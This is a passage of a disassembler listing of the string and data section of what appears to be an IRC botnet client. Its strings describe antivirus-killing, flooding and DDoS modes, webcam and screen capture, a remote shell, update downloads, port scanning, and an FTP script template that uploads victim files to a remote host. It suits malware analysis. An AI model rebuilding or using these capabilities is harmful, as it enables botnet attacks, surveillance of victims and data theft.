; sub_401ACD+B27r ...
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co
; ___:00429228o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o
dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o
aServerRunningO db '- Server running on Port: 113.',0
align 10h
unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 10h
unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00401585o
dd 2E646574h, 0
dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo
; sub_415A2F+7Eo
dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo
; sub_40F6B3+EAo ...
unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
align 4
unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 10h
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E62o
align 4
unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E12o
; sub_401ACD+7E79o
align 10h
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7DFBo
align 4
asc_429548: ; DATA XREF: sub_401ACD+7DCBo
unicode 0, <~>,0
unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 10h
unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 10h
unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401ACD+7C3Ao
dd 2E732520h, 0
unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+7884o
dd 27732527h, 2Eh
unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+7785o
dd 0
unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 10h
dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+76E5o
dd 2Eh
dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_40913Fo
dd 746E6573h, 2Eh
unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+762Fo
dd 732520h
unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
asc_429998: ; DATA XREF: sub_401ACD+75F8o
; sub_40F6B3+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 10h
unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 4
unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 10h
aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o
align 4
unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 10h
unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o
align 4
unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 10h
unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 4
unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo
align 10h
dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_401ACD+7318o
dd 2E732520h, 0
unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401ACD+710Eo
dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
; sub_401ACD+7C47o
unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo
align 4
dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+7073o
dd 25203A29h, 73h
dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+7004o
dd 203A2973h, 7325h
dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o
dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6F79o
dd 203A2973h, 7325h
dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo
; sub_401ACD+6F57o ...
dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o
dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: sub_401ACD+6C3Do
dd 7325h
dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401ACD:loc_408673o
dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o
; sub_401ACD+6C14o ...
dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 10h
dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao
aDownloadingUpd db '- Downloading update from: %s.',0
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o
align 4
dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+6980o
dd 7325203Ah, 0
unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 10h
dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo
; sub_401ACD:loc_409366o
unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 4
dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o
align 4
dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o
; sub_401ACD+715Ao
unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o
; sub_401ACD+607Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, no IP specified.',0
align 10h
unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start scan, port is invalid.',0
align 4
unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 10h
aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o
; ___:00411C61o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o
align 4
unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao
align 4
unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 4
unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
